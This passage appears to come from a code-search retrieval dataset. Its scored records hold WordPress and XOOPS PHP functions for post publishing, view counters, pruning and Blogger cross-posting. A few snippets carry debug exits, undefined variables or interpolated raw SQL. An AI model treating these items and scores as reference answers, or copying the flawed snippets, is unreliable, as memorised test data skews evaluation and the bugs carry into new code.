$general_settings['limit_feed_items_db'] == 0 ) {\n return;\n }\n\n // Set your threshold of max posts and post_type name\n $threshold = $general_settings['limit_feed_items_db'];\n $post_types = apply_filters( 'wprss_truncation_post_types', array( 'wprss_feed_item' ) );\n $post_types_str = array_map( 'wprss_return_as_string', $post_types );\n\n $post_type_list = implode( ',' , $post_types_str );\n\n // Query post type\n // $wpdb query allows me to select specific columns instead of grabbing the entire post object.\n $query = \"\n SELECT ID, post_title FROM $wpdb->posts\n WHERE post_type IN ($post_type_list)\n AND post_status = 'publish'\n ORDER BY post_modified DESC\n \";\n\n $results = $wpdb->get_results( $query );\n\n // Check if there are any results\n $i = 0;\n if ( count( $results ) ){\n foreach ( $results as $post ) {\n $i++;\n\n // Skip any posts within our threshold\n if ( $i <= $threshold )\n continue;\n\n // Let the WordPress API do the heavy lifting for cleaning up entire post trails\n $purge = wp_delete_post( $post->ID, true );\n }\n }\n }", "title": "" }, { "docid": "df537f91d38c768e2d9d3920cb0e63ed", "score": "0.58757234", "text": "function getPostViews($postID){\r\n $count_key = 'post_views_count';\r\n $count = get_post_meta($postID, $count_key, true);\r\n if($count==''){\r\n return \"1\";\r\n }\r\n return $count;\r\n}", "title": "" }, { "docid": "6fb32c4b3de685f469611f38f35e971f", "score": "0.58686036", "text": "function sp_set_post_read() {\n\t\n\tglobal $smof_data, $post;\n\t\t\n\tif( !$smof_data[ 'post_views' ] ) return false;\n\n\t$postID = $post->ID ;\n $count_key = 'sp_post_views';\n $count = get_post_meta($postID, $count_key, true);\n if($count==''){\n $count = 0;\n delete_post_meta($postID, $count_key);\n add_post_meta($postID, $count_key, '0');\n }else{\n\t\t$count++;\n update_post_meta($postID, $count_key, $count);\n }\n}", "title": "" }, { "docid": "8ab8d40466aa5dea0eeef428cb2a5f2a", "score": "0.5865606", "text": "public function isPublished()\n {\n return $this->postID > 0;\n }", "title": "" }, { "docid": "ff997fba4b6f260674b4ab4e047de91d", "score": "0.5852535", "text": "function classiera_ad_expiry() {\r\n\tglobal $wpdb;\r\n\tglobal $redux_demo;\r\n\t$classieraExpiry = $redux_demo['ad_expiry'];\r\n\techo $classieraExpiry.\"shabir\"; exit();\r\n\t$daystogo = '';\r\n\tif (!empty($redux_demo['ad_expiry'])){\r\n\t\t$daystogo = $redux_demo['ad_expiry'];\t\r\n\t\t$sql =\r\n\t\t\"UPDATE {$wpdb->posts}\r\n\t\tSET post_status = 'trash'\r\n\t\tWHERE (post_type = 'post' AND post_status = 'publish')\r\n\t\tAND DATEDIFF(NOW(), post_date) > %d\";\r\n\t\t$wpdb->query($wpdb->prepare( $sql, $daystogo ));\r\n\t}\r\n}", "title": "" }, { "docid": "3d7dbf2516ed95f8927cb19f6c2b312a", "score": "0.58509475", "text": "function set_get_PostViews2($postID) {\r\n\tsetPostViews($postID);\r\n\t$counter_views = getPostViews($postID);\r\n\tif ( $counter_views < 2) {\r\n\t\techo $counter_views.' vue';}\r\n\telse {\r\n\t\techo $counter_views.' vues';\r\n\t};\r\n}", "title": "" }, { "docid": "40f582f4edfa0f01355213f4898887ea", "score": "0.58498985", "text": "function ConfirmBeforeToPrune()\n{\n\tglobal $dateformat;\n\t$story = new NewsStory();\n\txoops_cp_header();\n\t$topiclist=\"\";\n\tif(isset($_POST['pruned_topics'])) {\n\t\t$topiclist=implode(\",\",$_POST['pruned_topics']);\n\t}\n\techo \"<h4>\" . _AM_NEWS_PRUNENEWS . \"</h4>\";\n\t$expired=0;\n\tif(isset($_POST['onlyexpired'])) {\n\t\t$expired = intval($_POST['onlyexpired']);\n\t}\n\t$date=$_POST['prune_date'];\n\t$timestamp=mktime(0,0,0,intval(substr($date,5,2)), intval(substr($date,8,2)), intval(substr($date,0,4)));\n\t$count=$story->GetCountStoriesPublishedBefore($timestamp, $expired, $topiclist);\n\tif($count) {\n\t\t$displaydate=formatTimestamp($timestamp,$dateformat);\n\t\t$msg=sprintf(_AM_NEWS_PRUNE_CONFIRM,$displaydate, $count);\n\t\txoops_confirm(array( 'op' => 'prunenews', 'expired' => $expired, 'pruned_topics' => $topiclist, 'prune_date' => $timestamp, 'ok' => 1), 'index.php', $msg);\n\t} else {\n\t\tprintf(_AM_NEWS_NOTHING_PRUNE);\n\t}\n\tunset($story);\n}", "title": "" }, { "docid": "752ed72000841df75429416f297c2f04", "score": "0.5837982", "text": "function tiny_cache_post_transition( $new_status, $old_status, $post ) {\n\n // Post unpublished or published.\n if ( $old_status !== $new_status\n && ( 'publish' === $old_status || 'publish' === $new_status )\n ) {\n tiny_cache_delete_the_content( $post->ID );\n }\n}", "title": "" }, { "docid": "8fa016ab892ad0bbec3763490c9a291d", "score": "0.5837603", "text": "function wpachievements_wordpress_post($pid, $status){\r\n if( !empty($pid) ){\r\n $pdata = get_post( $pid );\r\n if( $pdata->post_author && $pdata->post_type == 'post' ){\r\n if(function_exists('is_multisite') && is_multisite()){\r\n $post_count = (int)get_blog_option(1, 'wpachievements_post_min_count');\r\n $post_deduct = (int)get_blog_option(1, 'wpachievements_post_min_deduct');\r\n } else{\r\n $post_count = (int)get_option('wpachievements_post_min_count');\r\n $post_deduct = (int)get_option('wpachievements_post_min_deduct');\r\n }\r\n if( empty($post_count) || $post_count < 1 ){\r\n $post_count = 1;\r\n }\r\n $uid=$pdata->post_author; $postid=$pid;\r\n if( !empty($post_count) && $post_count > 0 ){\r\n if( str_word_count($pdata->post_content) >= $post_count ){\r\n $type='post_added';\r\n if( !function_exists(WPACHIEVEMENTS_CUBEPOINTS) && !function_exists(WPACHIEVEMENTS_MYCRED) ){\r\n if(function_exists('is_multisite') && is_multisite()){\r\n $points = (int)get_blog_option(1, 'wpachievements_post_points');\r\n } else{\r\n $points = (int)get_option('wpachievements_post_points');\r\n }\r\n }\r\n if(empty($points)){$points=0;}\r\n wpachievements_new_activity($type, $uid, $postid, $points);\r\n } else{\r\n $type='post_added_bad';\r\n if( !empty($post_deduct) && $post_deduct > 0 ){\r\n $points=$post_deduct;\r\n } else{\r\n $points=0;\r\n }\r\n if(empty($points)){$points=0;}\r\n wpachievements_new_activity($type, $uid, $postid, -$points);\r\n }\r\n } else{\r\n $type='post_added';\r\n if( !function_exists(WPACHIEVEMENTS_CUBEPOINTS) && !function_exists(WPACHIEVEMENTS_MYCRED) ){\r\n if(function_exists('is_multisite') && is_multisite()){\r\n $points = (int)get_blog_option(1, 'wpachievements_post_points');\r\n } else{\r\n $points = (int)get_option('wpachievements_post_points');\r\n }\r\n }\r\n if(empty($points)){$points=0;}\r\n wpachievements_new_activity($type, $uid, $postid, $points);\r\n }\r\n }\r\n }\r\n }", "title": "" }, { "docid": "7b7eeea67f7fae5300368a52c3147ced", "score": "0.58327574", "text": "function subh_get_post_view( $postID ) {\r\n $count_key = 'post_views_count';\r\n $count = get_post_meta( $postID, $count_key, true );\r\n if ( $count == '' ) {\r\n delete_post_meta( $postID, $count_key );\r\n add_post_meta( $postID, $count_key, '0' );\r\n \r\n return '0 View';\r\n }\r\n \r\n return $count . ' Views';\r\n}", "title": "" }, { "docid": "5f9cbe8bf453fe4512d608cfeb903363", "score": "0.58248556", "text": "function unpublish() {\n\t\tif (! $this->id) {\n\t\t\treturn false;\n\t\t}\n\t\treturn $this->saveField('is_published', 0);\n\t}", "title": "" }, { "docid": "4376e560397ccf91c2ea849b2ad695a2", "score": "0.5816441", "text": "function quote_get_pending_items( $post_type ) {\n global $wpdb;\n $pending_count = $wpdb->get_var( $wpdb->prepare( \"SELECT COUNT(*) FROM $wpdb->posts WHERE post_type = %s AND post_status = 'pending'\", $post_type ) );\n return (int) $pending_count;\n}", "title": "" }, { "docid": "c56aa328220a15e1dc5d44f99f5a679f", "score": "0.581466", "text": "function setPostViews($postID) {\n $count_key = 'post_views_count';\n $count = get_post_meta($postID, $count_key, true);\n if($count==''){\n $count = 0;\n delete_post_meta($postID, $count_key);\n add_post_meta($postID, $count_key, '0');\n }else{\n $count++;\n update_post_meta($postID, $count_key, $count);\n }\n}", "title": "" }, { "docid": "c56aa328220a15e1dc5d44f99f5a679f", "score": "0.581466", "text": "function setPostViews($postID) {\n $count_key = 'post_views_count';\n $count = get_post_meta($postID, $count_key, true);\n if($count==''){\n $count = 0;\n delete_post_meta($postID, $count_key);\n add_post_meta($postID, $count_key, '0');\n }else{\n $count++;\n update_post_meta($postID, $count_key, $count);\n }\n}", "title": "" }, { "docid": "c56aa328220a15e1dc5d44f99f5a679f", "score": "0.581466", "text": "function setPostViews($postID) {\n $count_key = 'post_views_count';\n $count = get_post_meta($postID, $count_key, true);\n if($count==''){\n $count = 0;\n delete_post_meta($postID, $count_key);\n add_post_meta($postID, $count_key, '0');\n }else{\n $count++;\n update_post_meta($postID, $count_key, $count);\n }\n}", "title": "" }, { "docid": "a00fe95c0d6b79ec1387180fcdd73dbc", "score": "0.5812974", "text": "function setPostViews($postID) {\r\n $count_key = 'post_views_count';\r\n $count = get_post_meta($postID, $count_key, true);\r\n if($count==''){\r\n add_post_meta($postID, $count_key, '1');\r\n }else{\r\n $count++;\r\n update_post_meta($postID, $count_key, $count);\r\n }\r\n}", "title": "" }, { "docid": "42bf13e63c68a5b9efde14096efa4999", "score": "0.5811474", "text": "function get_tptn_post_count_only( $id = false, $count = 'total', $blog_id = false ) {\n\tglobal $wpdb;\n\n\t$table_name = $wpdb->base_prefix . 'top_ten';\n\t$table_name_daily = $wpdb->base_prefix . 'top_ten_daily';\n\n\tif ( empty( $blog_id ) ) {\n\t\t$blog_id = get_current_blog_id();\n\t}\n\n\tif ( $id > 0 ) {\n\t\tswitch ( $count ) {\n\t\t\tcase 'total':\n\t\t\t\t$resultscount = $wpdb->get_row( $wpdb->prepare( \"SELECT postnumber, cntaccess as visits FROM {$table_name} WHERE postnumber = %d AND blog_id = %d \", $id, $blog_id ) ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.PreparedSQL.InterpolatedNotPrepared\n\t\t\t\tbreak;\n\t\t\tcase 'daily':\n\t\t\t\t$from_date = tptn_get_from_date();\n\n\t\t\t\t$resultscount = $wpdb->get_row( $wpdb->prepare( \"SELECT postnumber, SUM(cntaccess) as visits FROM {$table_name_daily} WHERE postnumber = %d AND blog_id = %d AND dp_date >= %s GROUP BY postnumber \", array( $id, $blog_id, $from_date ) ) ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.PreparedSQL.InterpolatedNotPrepared\n\t\t\t\tbreak;\n\t\t\tcase 'overall':\n\t\t\t\t$resultscount = $wpdb->get_row( 'SELECT SUM(cntaccess) as visits FROM ' . $table_name ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.PreparedSQL.NotPrepared\n\t\t\t\tbreak;\n\t\t}\n\n\t\t$visits = ( $resultscount ) ? $resultscount->visits : 0;\n\n\t\t$string = tptn_number_format_i18n( $visits );\n\n\t\t/**\n\t\t * Returns the post count.\n\t\t *\n\t\t * @since 2.6.0\n\t\t *\n\t\t * @param string $string Formatted post count.\n\t\t * @param mixed $id Post ID.\n\t\t * @param string $count Which count to return? total, daily or overall.\n\t\t * @param bool $blog_id Blog ID.\n\t\t */\n\t\treturn apply_filters( 'tptn_post_count_only', $string, $id, $count, $blog_id );\n\t} else {\n\t\treturn 0;\n\t}\n}", "title": "" }, { "docid": "e9147cb7db5fb2a1276a28cf67965598", "score": "0.5805562", "text": "function subh_set_post_view( $postID ) {\r\n $count_key = 'post_views_count';\r\n $count = (int) get_post_meta( $postID, $count_key, true );\r\n if ( $count < 1 ) {\r\n delete_post_meta( $postID, $count_key );\r\n add_post_meta( $postID, $count_key, '0' );\r\n } else {\r\n $count++;\r\n update_post_meta( $postID, $count_key, (string) $count );\r\n }\r\n}", "title": "" }, { "docid": "2ae7787f3052671b59985a956eb724b6", "score": "0.58036923", "text": "function _update_blog_date_on_post_publish( $new_status, $old_status, $post ) {\n\t$post_type_obj = get_post_type_object( $post->post_type );\n\tif ( ! $post_type_obj || ! $post_type_obj->public ) {\n\t\treturn;\n\t}\n\n\tif ( 'publish' != $new_status && 'publish' != $old_status ) {\n\t\treturn;\n\t}\n\n\t// Post was freshly published, published post was saved, or published post was unpublished.\n\n\twpmu_update_blogs_date();\n}", "title": "" }, { "docid": "37cbe2c187ee5fde2f58b242fb3944e9", "score": "0.58026576", "text": "function tp_count_post_views () {\t\n // Garante que vamos tratar apenas de posts\n if ( is_single() ) {\n \n // Precisamos da variável $post global para obter o ID do post\n global $post;\n \n // Se a sessão daquele posts não estiver vazia\n if ( empty( $_SESSION[ 'tp_post_counter_' . $post->ID ] ) ) {\n \n // Cria a sessão do posts\n $_SESSION[ 'tp_post_counter_' . $post->ID ] = true;\n \n // Cria ou obtém o valor da chave para contarmos\n $key = 'tp_post_counter';\n $key_value = get_post_meta( $post->ID, $key, true );\n \n // Se a chave estiver vazia, valor será 1\n if ( empty( $key_value ) ) { // Verifica o valor\n $key_value = 1;\n update_post_meta( $post->ID, $key, $key_value );\n } else {\n // Caso contrário, o valor atual + 1\n $key_value += 1;\n update_post_meta( $post->ID, $key, $key_value );\n } // Verifica o valor\n \n } // Checa a sessão\n \n } // is_single\n \n return;\n \n }", "title": "" }, { "docid": "a5c98cef6a1ee8fa63b5bb3bfa8407c7", "score": "0.5799928", "text": "public function future_to_published($post) {\n\t\t\n\t\tdefine(\"WPU_JUST_POSTED_{$postID}\", TRUE);\n\t\t$this->handle_new_post($post->ID, $post, true);\n\t}", "title": "" }, { "docid": "80d48fccf8377783b03a41f94c724340", "score": "0.57934", "text": "function acadp_update_listing_views_count( $post_id ) {\n\n $user_ip = $_SERVER['REMOTE_ADDR']; // retrieve the current IP address of the visitor\n $key = $user_ip . '_acadp_' . $post_id; // combine post ID & IP to form unique key\n $value = array( $user_ip, $post_id ); // store post ID & IP as separate values (see note)\n $visited = get_transient( $key ); // get transient and store in variable\n\n // check to see if the Post ID/IP ($key) address is currently stored as a transient\n if( false === ( $visited ) ) {\n\n // store the unique key, Post ID & IP address for 12 hours if it does not exist\n set_transient( $key, $value, 60*60*12 );\n\n // now run post views function\n $count_key = 'views';\n $count = get_post_meta($post_id, $count_key, true);\n if( '' == $count ) {\n $count = 0;\n delete_post_meta( $post_id, $count_key );\n add_post_meta( $post_id, $count_key, '0' );\n } else {\n $count++;\n update_post_meta( $post_id, $count_key, $count );\n }\n\n }\n\n}", "title": "" }, { "docid": "5ed95bd20d6c0cbdee62712a0ea77da0", "score": "0.57850826", "text": "function wp_count_posts($type = 'post', $perm = '')\n {\n }", "title": "" }, { "docid": "7d786ebd523aa37be9d17bf34a0034fb", "score": "0.5783185", "text": "function PruneNews()\n{\n\t$story = new NewsStory();\n\t$timestamp=intval($_POST['prune_date']);\n\t$expired= intval($_POST['expired']);\n\t$topiclist=\"\";\n\tif(isset($_POST['pruned_topics'])) {\n\t\t$topiclist=$_POST['pruned_topics'];\n\t}\n\n\tif(intval($_POST['ok'])==1) {\n\t\t$story = new NewsStory();\n\t\txoops_cp_header();\n\t\t$count=$story->GetCountStoriesPublishedBefore($timestamp,$expired,$topiclist);\n\t\t$msg=sprintf(_AM_NEWS_PRUNE_DELETED,$count);\n\t\t$story->DeleteBeforeDate($timestamp,$expired,$topiclist);\n\t\tunset($story);\n\t\tupdateCache();\n\t\tredirect_header( 'index.php', 3, $msg);\n\t}\n}", "title": "" }, { "docid": "287436a51a540b21d4e0acb9ee00b2c5", "score": "0.5777545", "text": "public function hasPublished() {\n return $this->_has(6);\n }", "title": "" }, { "docid": "4f66e2a6ef1d2d34ead0ebafb7fb8568", "score": "0.5776604", "text": "function tptn_pop_posts( $daily = false , $widget = false ) {\r\n\tglobal $wpdb, $siteurl, $tableposts, $id;\r\n\tif ($daily) $table_name = $wpdb->prefix . \"top_ten_daily\"; \r\n\t\telse $table_name = $wpdb->prefix . \"top_ten\";\r\n\t$tptn_settings = tptn_read_options();\r\n\t$limit = $tptn_settings['limit'];\r\n\r\n\tif (!$daily) {\r\n\t\t$sql = \"SELECT postnumber, cntaccess as sumCount, ID, post_type, post_status, post_content \";\r\n\t\t$sql .= \"FROM $table_name INNER JOIN \". $wpdb->posts .\" ON postnumber=ID \" ;\r\n\t\tif ($tptn_settings['exclude_pages']) $sql .= \"AND post_type = 'post' \";\r\n\t\t$sql .= \"AND post_status = 'publish' \";\r\n\t\t$sql .= \"ORDER BY sumCount DESC LIMIT $limit\";\r\n\t} else {\r\n\t\t$daily_range = $tptn_settings[daily_range] - 1;\r\n\t\t$current_time = gmdate( 'Y-m-d', ( time() + ( get_option( 'gmt_offset' ) * 3600 ) ) );\r\n\t\t$current_date = strtotime ( '-'.$daily_range. ' DAY' , strtotime ( $current_time ) );\r\n\t\t$current_date = date ( 'Y-m-j' , $current_date );\r\n\t\t\r\n\t\t$sql = \"SELECT postnumber, SUM(cntaccess) as sumCount, dp_date, ID, post_type, post_status, post_content \";\r\n\t\t$sql .= \"FROM $table_name INNER JOIN \". $wpdb->posts .\" ON postnumber=ID \" ;\r\n\t\tif ($tptn_settings['exclude_pages']) $sql .= \"AND post_type = 'post' \";\r\n\t\t$sql .= \"AND post_status = 'publish' AND dp_date >= '$current_date' \";\r\n\t\t$sql .= \"GROUP BY postnumber \";\r\n\t\t$sql .= \"ORDER BY sumCount DESC LIMIT $limit\";\r\n\t}\r\n\t$results = $wpdb->get_results($sql);\r\n\t$output = '';\r\n\r\n\tif (!$widget) {\r\n\t\tif (!$daily) {\r\n\t\t\t$output .= '<div id=\"tptn_related\">'.$tptn_settings['title'];\r\n\t\t} else {\r\n\t\t\t$output .= '<div id=\"tptn_related_daily\">'.$tptn_settings['title_daily'];\r\n\t\t}\r\n\t}\r\n\t\r\n\tif ($results) {\r\n\t\t$output .= $tptn_settings['before_list'];\r\n\t\tforeach ($results as $result) {\r\n\t\t\t$title = trim(stripslashes(get_the_title($result->postnumber)));\r\n\t\t\t$output .= $tptn_settings['before_list_item'];\r\n\r\n\t\t\tif (($tptn_settings['post_thumb_op']=='inline')||($tptn_settings['post_thumb_op']=='thumbs_only')) {\r\n\t\t\t\t$output .= '<a href=\"'.get_permalink($result->postnumber).'\" rel=\"bookmark\">';\r\n\t\t\t\tif ((function_exists('has_post_thumbnail')) && (has_post_thumbnail($result->postnumber))) {\r\n\t\t\t\t\t$output .= get_the_post_thumbnail( $result->postnumber, array($tptn_settings[thumb_width],$tptn_settings[thumb_height]), array('title' => $title,'alt' => $title, 'class' => 'tptn_thumb', 'border' => '0'));\r\n\t\t\t\t} else {\r\n\t\t\t\t\t$postimage = get_post_meta($result->postnumber, $tptn_settings[thumb_meta], true);\t// Check \r\n\t\t\t\t\tif ((!$postimage)&&($tptn_settings['scan_images'])) {\r\n\t\t\t\t\t\tpreg_match_all( '|<img.*?src=[\\'\"](.*?)[\\'\"].*?>|i', $result->post_content, $matches );\r\n\t\t\t\t\t\t// any image there?\r\n\t\t\t\t\t\tif( isset( $matches ) && $matches[1][0] ) {\r\n\t\t\t\t\t\t\t$postimage = $matches[1][0]; // we need the first one only!\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t\tif (!$postimage) $postimage = $tptn_settings[thumb_default];\r\n\t\t\t\t\t$output .= '<img src=\"'.$postimage.'\" alt=\"'.$title.'\" title=\"'.$title.'\" width=\"'.$tptn_settings[thumb_width].'\" height=\"'.$tptn_settings[thumb_height].'\" border=\"0\" class=\"tptn_thumb\" />';\r\n\t\t\t\t}\r\n\t\t\t\t$output .= '</a> ';\r\n\t\t\t}\r\n\t\t\tif (($tptn_settings['post_thumb_op']=='inline')||($tptn_settings['post_thumb_op']=='text_only')) {\r\n\t\t\t\t$output .= '<a href=\"'.get_permalink($result->postnumber).'\" rel=\"bookmark\">'.$title.'</a>';\r\n\t\t\t}\t\t\r\n\t\t\tif ($tptn_settings['show_excerpt']) {\r\n\t\t\t\t$output .= '<span class=\"tptn_excerpt\"> '.tptn_excerpt($result->post_content,$tptn_settings['excerpt_length']).'</span>';\r\n\t\t\t}\r\n\t\t\tif ($tptn_settings['disp_list_count']) $output .= ' ('.$result->sumCount.')';\r\n\t\t\t$output .= $tptn_settings['after_list_item'];\r\n\t\t}\r\n\t\tif ($tptn_settings['show_credit']) $output .= '<li>Popular posts by <a href=\"http://ajaydsouza.com/wordpress/plugins/top-10/\">Top 10 plugin</a></li>';\r\n\t\t$output .= $tptn_settings['after_list'];\r\n\t}\r\n\tif (!$widget) $output .= '</div>';\r\n\r\n\treturn $output;\r\n}", "title": "" }, { "docid": "f7b2ca2ab494082374ea4163650db67d", "score": "0.5771701", "text": "function get_unpublished_post_statuses() {\n $status = [ 'draft', 'pending', 'auto-draft'/*, 'future' */ ];\n\n /**\n * Filter the unpublished post statuses.\n *\n * @param array $status List of non-public post statuses.\n */\n return apply_filters( 'unpublished_post_statuses', $status );\n }", "title": "" }, { "docid": "20124e7858d5f7f3d10e4bcab47b18f6", "score": "0.575892", "text": "function jr_todays_count_widget( $post_type, $limit ) {\n\tglobal $wpdb;\n\n\t$today_date = date( 'Y-m-d', current_time( 'timestamp' ) );\n\n\t// get all the post view info to display\n\t$sql = $wpdb->prepare( \"SELECT t.postcount, p.ID, p.post_title\n\t\t\tFROM $wpdb->app_pop_daily AS t\n\t\t\tINNER JOIN $wpdb->posts AS p ON p.ID = t.postnum\n\t\t\tWHERE time = %s\n\t\t\tAND t.postcount > 0 AND p.post_status = 'publish' AND p.post_type = %s\n\t\t\tORDER BY t.postcount DESC LIMIT %d\", $today_date, $post_type, $limit );\n\n\t$results = $wpdb->get_results( $sql );\n\n\techo '<ul class=\"pop\">';\n\n\t// must be views today\n\tif ( $results ) {\n\n\t\tforeach ( $results as $result )\n\t\t\techo '<li><a href=\"'.get_permalink($result->ID).'\">'.$result->post_title.'</a> ('.number_format($result->postcount).'&nbsp;'.__('views', APP_TD) .')</li>';\n\n\t} else {\n\n\t\techo '<li>' . __( 'No jobs viewed yet.', APP_TD ) . '</li>';\n\t}\n\n\techo '</ul>';\n\n}", "title": "" }, { "docid": "4181e048ec924bea0e6d4e18dd16aca0", "score": "0.5752872", "text": "function getCountDefault_exclude( $id ) {\n $args = array( \n 'post_type' => 'idem_pop_up',\n 'meta_key' => 'idem_pop_up_default',\n 'meta_value' => 1,\n 'post__not_in' => [ $id ],\n 'post_status' => ['publish', 'future']\n );\n $posts = get_posts( $args );\n\n if(count($posts) < 1) \n return 0;\n else\n return 1;\n \n}", "title": "" }, { "docid": "c402aa3d257c8dc82e0575b5cac62075", "score": "0.57438177", "text": "function block_core_calendar_update_has_published_post_on_delete( $post_id ) {\n\t\t$post = get_post( $post_id );\n\n\t\tif ( ! $post || 'publish' !== $post->post_status || 'post' !== $post->post_type ) {\n\t\t\treturn;\n\t\t}\n\n\t\tblock_core_calendar_update_has_published_posts();\n\t}", "title": "" }, { "docid": "157d3382bff31127b2ad906c1edf2ed3", "score": "0.57414985", "text": "function remove_unpublished_posts($post_ID_query){\n\tglobal $wpdb;\n\t$date_object = count($post_ID_query);\n\t\n\t//build query to find is posts within the results are not published\n\t$post_query .= \"SELECT ID FROM $wpdb->posts WHERE post_status != 'publish' AND (\";\n\tfor($i=0; $i<$date_object;$i++){\n\t\t$current_object = $post_ID_query[$i];\n\t\t$post_query .= \"ID='$current_object->post_id'\";\n\t\tif ($i<($date_object-1)){//add or at the end of each query, expect the last one\n\t\t\t$post_query .= \" OR \";\n\t\t} else{\n\t\t\t$post_query .= \");\";\n\t\t}\n\t}\n\t$trashed_post_id = $wpdb->get_results($post_query);\n\t//make array of id's of trashed posts\n\t$trashed_post_id = get_just_post_ids($trashed_post_id);\n\t//cycle though results or date query, unsetting trashed id's\n\tif (is_array($trashed_post_id)){//check to see $trashed_post_id has results\n\t\tforeach($post_ID_query as $key=>$post){\n\t\t\t//is post id in trashed list?\n\t\t\n\t\t\tif(in_array($post->post_id,$trashed_post_id)){\n\t\t\t\tunset($post_ID_query[$key]);\n\t\t\t}\n\t\t}\n\t} \n\treturn $post_ID_query;\n}", "title": "" }, { "docid": "461f880d1d5dbc0ec851bc32fb1f3749", "score": "0.573812", "text": "function add_share_count_field() {\r\n\tglobal $wpdb;\r\n\t$field_exists = false;\r\n\r\n\t// add field for posts\r\n\t$fields = $wpdb->get_results(\"SHOW fields FROM $wpdb->posts\", ARRAY_A );\r\n\tforeach($fields as $field){\r\n\t\tif( $field['Field'] == 'share_count' ){\r\n\t\t\t$field_exists = true;\r\n\t\t}\r\n\t}\r\n\tif ( false === $field_exists ) {\r\n\t\t$query = \"ALTER TABLE $wpdb->posts ADD share_count INT NOT NULL DEFAULT '0'\";\r\n\t\t$wpdb->query($query);\r\n\t}\r\n\r\n\t$term_field_exists = false;\r\n\r\n\t// add field for terms\r\n\t$fields_term = $wpdb->get_results(\"SHOW fields FROM $wpdb->terms\", ARRAY_A );\r\n\tforeach($fields_term as $field_term){\r\n\t\tif( $field_term['Field'] == 'all_share_count' ){\r\n\t\t\t$term_field_exists = true;\r\n\t\t}\r\n\t}\r\n\tif ( false === $term_field_exists ) {\r\n\t\t$query = \"ALTER TABLE $wpdb->terms ADD all_share_count INT NOT NULL DEFAULT '0'\";\r\n\t\t$wpdb->query($query);\r\n\t}\r\n\t\r\n\t// add field for terms\r\n\t$fields_term = $wpdb->get_results(\"SHOW fields FROM $wpdb->terms\", ARRAY_A );\r\n\tforeach($fields_term as $field_term){\r\n\t\tif( $field_term['Field'] == 'cat_updated' ){\r\n\t\t\t$term_field_exists = true;\r\n\t\t}\r\n\t}\r\n\tif ( false === $term_field_exists ) {\r\n\t\t$query = \"ALTER TABLE $wpdb->terms ADD cat_updated VARCHAR (255) NOT NULL DEFAULT '0'\";\r\n\t\t$wpdb->query($query);\r\n\t}\r\n\r\n\tflush_rewrite_rules();\r\n}", "title": "" }, { "docid": "d16be84fea96bae69f32667908c55d7c", "score": "0.57370293", "text": "function filterPostComments($posts) {\n foreach ($posts as $key => $p) {\n if ($p->comment_count <= 0) { return $posts; }\n $comments = get_approved_comments((int)$p->ID);\n $comments = array_filter($comments, \"stripTrackback\");\n $posts[$key]->comment_count = sizeof($comments);\n }\n return $posts;\n}", "title": "" }, { "docid": "8f44dbcf98f82b2cc1293691a31f1705", "score": "0.57330203", "text": "function _publish_post_hook($post_id)\n {\n }", "title": "" }, { "docid": "7e7601f2aa1b86e5bb0a1eb8d7f634cc", "score": "0.5724673", "text": "function nxs_doPublishToBG($postID, $options){ $ntCd = 'BG'; $ntCdL = 'bg'; $ntNm = 'Blogger'; if (!is_array($options)) $options = maybe_unserialize(get_post_meta($postID, $options, true)); \r\n //$backtrace = debug_backtrace(); nxs_addToLogN('W', 'Enter', $ntCd, 'I am here - '.$ntCd.\"|\".print_r($backtrace, true), ''); \r\n // if (isset($options['timeToRun'])) wp_unschedule_event( $options['timeToRun'], 'nxs_doPublishToBG', array($postID, $options));\r\n $blogTitle = htmlspecialchars_decode(get_bloginfo('name'), ENT_QUOTES); if ($blogTitle=='') $blogTitle = home_url(); \r\n $addParams = nxs_makeURLParams(array('NTNAME'=>$ntNm, 'NTCODE'=>$ntCd, 'ACCNAME'=>$options['nName'], 'POSTID'=>$postID));\r\n $ii = $options['ii']; if (!isset($options['pType'])) $options['pType'] = 'im'; if ($options['pType']=='sh') sleep(rand(1, 10)); \r\n $logNT = '<span style=\"color:#F87907\">'.$ntNm.'</span> - '.$options['nName']; \r\n $snap_ap = get_post_meta($postID, 'snap'.$ntCd, true); $snap_ap = maybe_unserialize($snap_ap); \r\n if ($options['pType']!='aj' && is_array($snap_ap) && (nxs_chArrVar($snap_ap[$ii], 'isPosted', '1') || nxs_chArrVar($snap_ap[$ii], 'isPrePosted', '1'))) {\r\n $snap_isAutoPosted = get_post_meta($postID, 'snap_isAutoPosted', true); if ($snap_isAutoPosted!='2') { \r\n nxs_addToLogN('W', 'Notice', $logNT, '-=Duplicate=- Post ID:'.$postID, 'Already posted. No reason for posting duplicate'); return;\r\n }\r\n } \r\n \r\n if ($postID=='0') { echo \"Testing ... <br/><br/>\"; $options['bgMsgTFormat'] = 'Test Post from '.htmlentities($blogTitle); $tags = 'test'; $link = home_url(); $options['bgMsgFormat'] = 'Test Post from '.$blogTitle. ' <a href=\"'.$link.'\">'.$link.'</a>'; }\r\n else { $post = get_post($postID); if(!$post) return; $options['bgMsgFormat'] = nsFormatMessage($options['bgMsgFormat'], $postID, $addParams); \r\n $options['bgMsgTFormat'] = nsFormatMessage($options['bgMsgTFormat'], $postID, $addParams); nxs_metaMarkAsPosted($postID, $ntCd, $options['ii'], array('isPrePosted'=>'1')); \r\n }\r\n $extInfo = ' | PostID: '.$postID.\" - \".(isset($post) && is_object($post)?$post->post_title:'');\r\n //## Actual POST Code\r\n if ($options['bgInclTags']=='1'){$t = wp_get_post_tags($postID); $tggs = array(); foreach ($t as $tagA) {$tggs[] = $tagA->name;} $tags = implode('\",\"',$tggs); $tags = nsTrnc($tags, 195, ',', ''); } else $tags = '';\r\n if (substr($tags, -1)=='\"') $tags = substr($tags, 0, -1); if (substr($tags, -1)==',') $tags = substr($tags, 0, -1); if (substr($tags, -1)=='\"') $tags = substr($tags, 0, -1); \r\n //## Set Message\r\n $message = array('title'=>'', 'announce'=>'', 'text'=>'', 'url'=>'', 'surl'=>'', 'urlDescr'=>'', 'urlTitle'=>'', 'imageURL' => array(), 'videoCode'=>'', 'videoURL'=>'', 'siteName'=>$blogTitle, 'tags'=>$tags, 'cats'=>'', 'authorName'=>''); \r\n //## Actual Post\r\n $ntToPost = new nxs_class_SNAP_BG(); $ret = 